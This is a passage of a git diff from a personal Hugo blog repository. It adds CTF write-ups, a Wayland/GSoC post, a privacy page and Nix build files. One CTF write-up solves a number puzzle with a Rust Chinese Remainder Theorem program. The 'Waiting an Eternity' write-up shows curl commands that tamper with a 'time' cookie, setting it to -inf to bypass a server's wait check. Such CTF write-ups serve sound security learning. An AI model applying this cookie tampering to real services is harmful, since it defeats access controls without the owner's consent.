The number 2 divides 4918 to give 2459, a prime number.
|
||||
|
||||
This implies, 2 and 2459 are the prime factors of 4918. Since 2 is even, we will choose **2459** as the proof value.
|
||||
|
||||
## Solving for the `volcano` and the `bear`
|
||||
|
||||
I will be writing a little Rust program to solve for the remaining constraints.
|
||||
|
||||
We know that the `volcano` number must have at least 17 high bits and at most 27 high bits. Hence, we will begin by
|
||||
generating numbers that have 17 high bits and 1 low bit.
|
||||
|
||||
```rust
|
||||
let ones = 17;
|
||||
let bits = ones + 1;
|
||||
let volcanos = (0..bits)
|
||||
.map(|position| (1 << position) ^ ((1 << bits) - 1))
|
||||
.collect::<Vec<i32>>();
|
||||
```
|
||||
|
||||
This gives us numbers that have a binary representation like:
|
||||
|
||||
```rust
|
||||
111111111111111110
|
||||
111111111111111101
|
||||
111111111111111011
|
||||
111111111111110111
|
||||
// and so on
|
||||
```
|
||||
|
||||
For any of these numbers we wish to find a `bear` number that:
|
||||
|
||||
- is even
|
||||
- yields the remainder of 2 when divided by 3
|
||||
- yields the remainder of 1 when divided by 5
|
||||
- yields the remainder of 3 when divided by 7
|
||||
- yields the remainder of 55 when divided by 109
|
||||
- has the same number of digits as the `volcano`
|
||||
- has the same sum of digits as the `volcano`
|
||||
|
||||
The naive, inefficient solution would be to loop from 1 to infinity and check for each condition manually.
|
||||
The code would look like the following:
|
||||
|
||||
```rust
|
||||
for bear in 1.. {
|
||||
if bear % 2 == 0
|
||||
&& bear % 3 == 2
|
||||
&& bear % 5 == 1
|
||||
&& bear % 7 == 3
|
||||
&& bear % 109 == 55
|
||||
&& sum_and_number_of_digits(bear) == sum_and_number_of_digits(volcano)
|
||||
{
|
||||
// do something
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
Since most of the conditions are modulo congruence checks, we can use the Chinese Remainder Theorem
|
||||
to solve for the smallest number that leaves the respective remainders and begin from there.
|
||||
|
||||
Let `a` be the array of all the moduli 2, 3, 5, 7 and 109.
|
||||
|
||||
{{< math "volcano-expression-12.svg" >}}
|
||||
|
||||
Let `r` represent the array of the respective remainders.
|
||||
|
||||
{{< math "volcano-expression-13.svg" >}}
|
||||
|
||||
We begin by calculating `n` as the product of all the moduli.
|
||||
|
||||
{{< math "volcano-expression-14.svg" >}}
|
||||
|
||||
We construct `m` containing the modulus of each equation by diving `n` by each element of `a`.
|
||||
|
||||
{{< math "volcano-expression-15.svg" >}}
|
||||
|
||||
We then calculate the multiplicative modular inverse of the aforementioned moduli with respect to the original moduli.
|
||||
|
||||
{{< math "volcano-expression-16.svg" >}}
|
||||
|
||||
> The modular inverse of a number `x` modulo `m` is the number `x_inv` such that its product with `x` mod `m` is 1.
|
||||
>
|
||||
> {{< math "volcano-expression-17.svg" >}}
|
||||
|
||||
We now multiply the calculated moduli and their inverses to find out the constants that leave the remainder 1.
|
||||
Let's name this array of constants as `c`.
|
||||
|
||||
{{< math "volcano-expression-18.svg" >}}
|
||||
|
||||
We multiply the remainder with each constant and add them up. The final unique solution is this number modulo `n`.
|
||||
|
||||
{{< math "volcano-expression-19.svg" >}}
|
||||
|
||||
The code implementation looks like the following:
|
||||
|
||||
```rust
|
||||
let moduli = [2, 3, 5, 7, 109];
|
||||
let remainders = [0, 2, 1, 3, 55];
|
||||
|
||||
let n: i32 = moduli.iter().product();
|
||||
let generated: Vec<i32> = moduli.iter().map(|m| n / m).collect();
|
||||
let inverses: Vec<i32> = generated
|
||||
.iter()
|
||||
.zip(moduli.iter())
|
||||
.filter_map(|(a, m)| modinverse::modinverse(*a, *m))
|
||||
.collect();
|
||||
let s: i32 = inverses
|
||||
.iter()
|
||||
.zip(generated.iter())
|
||||
.zip(remainders.iter())
|
||||
.map(|((m, m_inv), r)| m * m_inv * r)
|
||||
.sum();
|
||||
let solution = s % n;
|
||||
```
|
||||
|
||||
Here, I'm using the [modinverse](https://docs.rs/modinverse/latest/modinverse/) crate so that I don't have to implement it manually. If you are following along,
|
||||
run the following to add it to your Rust project:
|
||||
|
||||
```sh
|
||||
cargo add modinverse
|
||||
```
|
||||
|
||||
For all the `volcano` numbers generated we search for a `bear` number starting from the unique `solution` and stepping by the product of all the moduli, `n`.
|
||||
Again, if any of the `bear` values has the same number of digits and the same sum of digits as the volcano number, it is valid.
|
||||
|
||||
```rust
|
||||
for volcano in volcanos {
|
||||
let v_digits = digits(volcano);
|
||||
for bear in (solution..volcano).step_by(n as usize) {
|
||||
if digits(bear) == v_digits {
|
||||
println!("volcano: {volcano}, bear: {bear}");
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
Here `digits` is a function that returns a tuple of the number of digits and sum of digits for an argument.
|
||||
|
||||
The complete program source code becomes the following:
|
||||
|
||||
```rust
|
||||
fn digits(mut n: i32) -> (i32, i32) {
|
||||
let mut c = 0;
|
||||
let mut r = 0;
|
||||
while n != 0 {
|
||||
r += n % 10;
|
||||
n /= 10;
|
||||
c += 1;
|
||||
}
|
||||
(c, r)
|
||||
}
|
||||
|
||||
fn main() {
|
||||
let ones = 17;
|
||||
let bits = ones + 1;
|
||||
let volcanos = (0..bits)
|
||||
.map(|position| (1 << position) ^ ((1 << bits) - 1))
|
||||
.collect::<Vec<i32>>();
|
||||
|
||||
let moduli = [2, 3, 5, 7, 109];
|
||||
let remainders = [0, 2, 1, 3, 55];
|
||||
|
||||
let n: i32 = moduli.iter().product();
|
||||
let generated: Vec<i32> = moduli.iter().map(|m| n / m).collect();
|
||||
let inverses: Vec<i32> = generated
|
||||
.iter()
|
||||
.zip(moduli.iter())
|
||||
.filter_map(|(a, m)| modinverse::modinverse(*a, *m))
|
||||
.collect();
|
||||
let constants_sum: i32 = inverses
|
||||
.iter()
|
||||
.zip(generated.iter())
|
||||
.zip(remainders.iter())
|
||||
.map(|((m, m_inv), r)| m * m_inv * r)
|
||||
.sum();
|
||||
let solution = constants_sum % n;
|
||||
for volcano in volcanos {
|
||||
let v_digits = digits(volcano);
|
||||
for bear in (solution..volcano).step_by(n as usize) {
|
||||
if digits(bear) == v_digits {
|
||||
println!("volcano: {volcano}, bear: {bear}");
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
If we run the program using `cargo run`, we get multiple unqiue solutions to the problem:
|
||||
|
||||
```
|
||||
volcano: 262139, bear: 132926
|
||||
volcano: 262139, bear: 201596
|
||||
volcano: 262079, bear: 155816
|
||||
volcano: 262079, bear: 224486
|
||||
volcano: 258047, bear: 155816
|
||||
volcano: 258047, bear: 224486
|
||||
volcano: 196607, bear: 178706
|
||||
```
|
||||
|
||||
Now we can connect to the challenge server, supply any of the solutions and get the flag.
|
||||
|
||||
```sh
|
||||
nc amt.rs 31010
|
||||
```
|
||||
|
||||
```
|
||||
Give me a bear: 132926
|
||||
Give me a volcano: 262139
|
||||
Prove to me they are the same: 2459
|
||||
That looks right to me!
|
||||
amateursCTF{yep_th0se_l00k_th3_s4me_to_m3!_:clueless:}
|
||||
```
|
||||
127
content/post/wait-an-eternity-web-challenge-AmateursCTF-2023.md
Normal file
@@ -0,0 +1,127 @@
|
||||
---
|
||||
title: "Waiting an Eternity"
|
||||
tags:
|
||||
- AmateursCTF
|
||||
- CTF
|
||||
- Cookies
|
||||
- Web
|
||||
date: 2023-07-19T07:53:17+05:30
|
||||
draft: false
|
||||
---
|
||||
|
||||
This was a fairly straightforward and fun challenge that required a bit of common sense to solve.
|
||||
We are given the URL https://waiting-an-eternity.amt.rs to begin with.
|
||||
|
||||
Let's use `curl` with its verbose flag to fetch this URL.
|
||||
|
||||
```sh
|
||||
curl -v "https://waiting-an-eternity.amt.rs"
|
||||
```
|
||||
|
||||
We get a response that tells us to wait an enternity.
|
||||
|
||||
```
|
||||
> GET / HTTP/2
|
||||
> Host: waiting-an-eternity.amt.rs
|
||||
> User-Agent: curl/8.1.1
|
||||
> Accept: */*
|
||||
>
|
||||
< HTTP/2 200
|
||||
< content-type: text/html; charset=utf-8
|
||||
< date: Tue, 18 Jul 2023 04:28:52 GMT
|
||||
< refresh: 1000000000000000000000000000000000000000000000000000000000000000000000000000000000000000; url=/secret-site?secretcode=5770011ff65738feaf0c1d009caffb035651bb8a7e16799a433a301c0756003a
|
||||
< server: gunicorn
|
||||
< content-length: 21
|
||||
<
|
||||
* Connection #0 to host waiting-an-eternity.amt.rs left intact
|
||||
just wait an eternity
|
||||
```
|
||||
|
||||
On closer inspection, the refresh header with the gigantic number sticks out like a sore thumb.
|
||||
|
||||
```
|
||||
refresh: 1000000000000000000000000000000000000000000000000000000000000000000000000000000000000000; url=/secret-site?secretcode=5770011ff65738feaf0c1d009caffb035651bb8a7e16799a433a301c0756003a
|
||||
```
|
||||
|
||||
The refresh header is a non-standard but widely supported HTTP header that redirects to the URL present in the `url` field
|
||||
after the specified timout in seconds.
|
||||
|
||||
In our case, this means that after one octovigintillion seconds, we would finally get redirected to `/secret-site?secretcode=5770011ff65738feaf0c1d009caffb035651bb8a7e16799a433a301c0756003a`.
|
||||
|
||||
Since I'm rather impatient, I'll proceed to visiting the redirect location. We will use the same technique as earlier, fetch the URL
|
||||
using `curl` in its verbose settings.
|
||||
|
||||
```sh
|
||||
curl -v "https://waiting-an-eternity.amt.rs/secret-site?secretcode=5770011ff65738feaf0c1d009caffb035651bb8a7e16799a433a301c0756003a"
|
||||
```
|
||||
|
||||
This results in another slightly different response that tells us to wait another eternity.
|
||||
|
||||
```
|
||||
> GET /secretsite?secretcode=5770011ff65738feaf0c1d009caffb035651bb8a7e16799a433a301c0756003a HTTP/2
|
||||
> Host: waiting-an-eternity.amt.rs
|
||||
> User-Agent: curl/8.1.1
|
||||
> Accept: */*
|
||||
>
|
||||
< HTTP/2 200
|
||||
< content-type: text/html; charset=utf-8
|
||||
< date: Tue, 18 Jul 2023 04:44:02 GMT
|
||||
< server: gunicorn
|
||||
< set-cookie: time=1689655442.2456439; Path=/
|
||||
< content-length: 38
|
||||
<
|
||||
* Connection #0 to host waiting-an-eternity.amt.rs left intact
|
||||
welcome. please wait another eternity.
|
||||
```
|
||||
|
||||
There is another difference in the headers of the response. This time, instead of the `refresh` header, we can notice a `set-cookie` header
|
||||
with the `time` cookie set to a floating point number.
|
||||
|
||||
```
|
||||
set-cookie: time=1689655442.2456439; path=/
|
||||
```
|
||||
|
||||
Let's try setting this `time` cookie to 0 using the `-b` flag with `curl`.
|
||||
|
||||
```sh
|
||||
curl "https://waiting-an-eternity.amt.rs/secret-site?secretcode=5770011ff65738feaf0c1d009caffb035651bb8a7e16799a433a301c0756003a" \
|
||||
-b "time=0"
|
||||
```
|
||||
|
||||
The response tells us that we haven't waited enough.
|
||||
|
||||
```
|
||||
you have not waited an eternity. you have only waited 1689655538.27981 seconds
|
||||
```
|
||||
|
||||
This is better than the previous message as the server thinks we have at least waited some time. Since 0 is less than the default value
|
||||
1689655442.2456439 we encountered before, let's try supplying an even smaller number like -1000.
|
||||
|
||||
```sh
|
||||
curl "https://waiting-an-eternity.amt.rs/secret-site?secretcode=5770011ff65738feaf0c1d009caffb035651bb8a7e16799a433a301c0756003a" \
|
||||
-b "time=-1000"
|
||||
```
|
||||
|
||||
The response says:
|
||||
|
||||
```
|
||||
you have not waited an eternity. you have only waited 1689657530.625615 seconds
|
||||
```
|
||||
|
||||
Notice how 1689657530.625615 in the second response is greater than 1689655538.27981 from the first response.
|
||||
This implies, for smaller values supplied to the `time` cookie, the time we have waited increases.
|
||||
|
||||
The last piece to the puzzle is that the `time` cookie is a floating point number. According to the IEE 754 floating
|
||||
point specifications, these numbers must also be able to represent signed zeros, things that are not a number (NaN) and
|
||||
*signed infinities*. To wait an eternity, we can supply the most negative value possible, `-inf`.
|
||||
|
||||
```sh
|
||||
curl "https://waiting-an-eternity.amt.rs/secret-site?secretcode=5770011ff65738feaf0c1d009caffb035651bb8a7e16799a433a301c0756003a" \
|
||||
-b "time=-inf"
|
||||
```
|
||||
|
||||
This finally gives us our flag.
|
||||
|
||||
```
|
||||
amateursCTF{im_g0iNg_2_s13Ep_foR_a_looo0ooO0oOooooOng_t1M3}
|
||||
```
|
||||
35
content/post/wayland-tools-rock.md
Normal file
@@ -0,0 +1,35 @@
|
||||
---
|
||||
title: "Wayland Tools Rock!"
|
||||
date: 2024-05-17T07:52:44+05:30
|
||||
tags:
|
||||
- Wayland
|
||||
- Rust
|
||||
- SWHKD
|
||||
- EBNF
|
||||
- Google Summer of Code
|
||||
draft: false
|
||||
---
|
||||
|
||||
Hey folks. Quite a few months have passed since I last posted here.
|
||||
As you might have known from my earlier posts, I've been daily driving
|
||||
Wayland instead of Xorg on my NixOS setup for quite some time now.
|
||||
|
||||
One of the tools I stumbled upon while writing my voice automation abomination
|
||||
was SWHKD (Simple Wayland HotKey Daemon). It's a spiritual successor to sxhkd from the Xorg world
|
||||
and in a sense better than the former because it works not only in wayland sessions but also
|
||||
under X and TTY sessions!
|
||||
|
||||
I had been using it to chain actions for my voice automation tool and was pleasantly surprised
|
||||
by the fact that Waycrate (the organization behind SWHKD) had a whole bunch of ideas for this year's
|
||||
Google Summer of Code.
|
||||
|
||||
One of these was to formalize the grammar for the config file so that the hand-rolled parser could
|
||||
be replaced with a more robust and formally provable solution. I checked out the issue and one of
|
||||
the organizers was talking about Extended Backus-Naur Form (EBNF) to implement the grammar.
|
||||
|
||||
Now, I had only worked with EBNF for small pet projects before, so this felt like the perfect opportunity
|
||||
to test my skills in a production environment. I've slowly started working on an implementation using
|
||||
[pest.rs](https://pest.rs) and I'll post more updates on my GSoC progress soon.
|
||||
|
||||
For those interested, keep an eye out for any of the [_Google Summer of Code_](/tags/google-summer-of-code) or [_SWHKD_](/tags/swhkd) tags in my blog.
|
||||
See you soon!
|
||||
12
content/privacy.md
Normal file
@@ -0,0 +1,12 @@
|
||||
---
|
||||
title: "Privacy Policy"
|
||||
date: 2023-09-04T10:10:09+05:30
|
||||
draft: false
|
||||
---
|
||||
|
||||
This site does NOT use cookies or third party analytics to track you.
|
||||
All resources that are served, including fonts, styles and scripts are local and not sourced from CDNs.
|
||||
Client side local storage is only used to store the setting for the light or dark theme.
|
||||
|
||||
The posts here can be viewed regardless of whether javascript is enabled.
|
||||
The only features relying on javascript are the theme switcher (try clicking the sun or moon icon) and the search box.
|
||||
57
flake.lock
generated
Normal file
@@ -0,0 +1,57 @@
|
||||
{
|
||||
"nodes": {
|
||||
"flake-utils": {
|
||||
"inputs": {
|
||||
"systems": "systems"
|
||||
},
|
||||
"locked": {
|
||||
"lastModified": 1710146030,
|
||||
"narHash": "sha256-SZ5L6eA7HJ/nmkzGG7/ISclqe6oZdOZTNoesiInkXPQ=",
|
||||
"owner": "numtide",
|
||||
"repo": "flake-utils",
|
||||
"rev": "b1d9ab70662946ef0850d488da1c9019f3a9752a",
|
||||
"type": "github"
|
||||
},
|
||||
"original": {
|
||||
"owner": "numtide",
|
||||
"repo": "flake-utils",
|
||||
"type": "github"
|
||||
}
|
||||
},
|
||||
"nixpkgs": {
|
||||
"locked": {
|
||||
"lastModified": 0,
|
||||
"narHash": "sha256-SzDKxseEcHR5KzPXLwsemyTR/kaM9whxeiJohbL04rs=",
|
||||
"path": "/nix/store/qgbn0imyridkb9527v6gnv6z3jzzprb9-source",
|
||||
"type": "path"
|
||||
},
|
||||
"original": {
|
||||
"id": "nixpkgs",
|
||||
"type": "indirect"
|
||||
}
|
||||
},
|
||||
"root": {
|
||||
"inputs": {
|
||||
"flake-utils": "flake-utils",
|
||||
"nixpkgs": "nixpkgs"
|
||||
}
|
||||
},
|
||||
"systems": {
|
||||
"locked": {
|
||||
"lastModified": 1681028828,
|
||||
"narHash": "sha256-Vy1rq5AaRuLzOxct8nz4T6wlgyUR7zLU309k9mBC768=",
|
||||
"owner": "nix-systems",
|
||||
"repo": "default",
|
||||
"rev": "da67096a3b9bf56a91d16901293e51ba5b49a27e",
|
||||
"type": "github"
|
||||
},
|
||||
"original": {
|
||||
"owner": "nix-systems",
|
||||
"repo": "default",
|
||||
"type": "github"
|
||||
}
|
||||
}
|
||||
},
|
||||
"root": "root",
|
||||
"version": 7
|
||||
}
|
||||
24
flake.nix
Normal file
@@ -0,0 +1,24 @@
|
||||
{
|
||||
description = "build lavafroth.is-a.dev locally";
|
||||
|
||||
inputs.flake-utils.url = "github:numtide/flake-utils";
|
||||
|
||||
outputs = { self, nixpkgs, flake-utils }:
|
||||
flake-utils.lib.eachDefaultSystem
|
||||
(system:
|
||||
let pkgs = nixpkgs.legacyPackages.${system}; in
|
||||
{
|
||||
devShells.default = pkgs.mkShell {
|
||||
packages = with pkgs;
|
||||
[
|
||||
hugo
|
||||
(writeScriptBin "serve" ''
|
||||
${pkgs.hugo}/bin/hugo -D
|
||||
${pkgs.pagefind}/bin/pagefind --output-path "static/pagefind"
|
||||
${pkgs.hugo}/bin/hugo server -D
|
||||
'')
|
||||
];
|
||||
};
|
||||
}
|
||||
);
|
||||
}
|
||||
1
pagefind.yml
Normal file
@@ -0,0 +1 @@
|
||||
site: public
|
||||
BIN
static/222-changing-quality.gif
Normal file
|
After Width: | Height: | Size: 151 KiB |
BIN
static/222-project-directory.gif
Normal file
|
After Width: | Height: | Size: 491 KiB |
BIN
static/222-re-render.gif
Normal file
|
After Width: | Height: | Size: 1.0 MiB |
BIN
static/222go-preview.gif
Normal file
|
After Width: | Height: | Size: 842 KiB |
BIN
static/B0EGQQFBBkEAQQdBw6BBAUEFQQBBAEEAQQJBAEEIQQU.png
Executable file
|
After Width: | Height: | Size: 687 B |
1
static/CNAME
Normal file
@@ -0,0 +1 @@
|
||||
lavafroth.is-a.dev
|
||||
BIN
static/completion_certificate_2024_contributor.png
Normal file
|
After Width: | Height: | Size: 127 KiB |
BIN
static/cry.gif
Normal file
|
After Width: | Height: | Size: 1.8 MiB |
BIN
static/drowning.avif
Normal file
|
After Width: | Height: | Size: 997 KiB |
BIN
static/home-server/photoprism.png
Normal file
|
After Width: | Height: | Size: 2.0 MiB |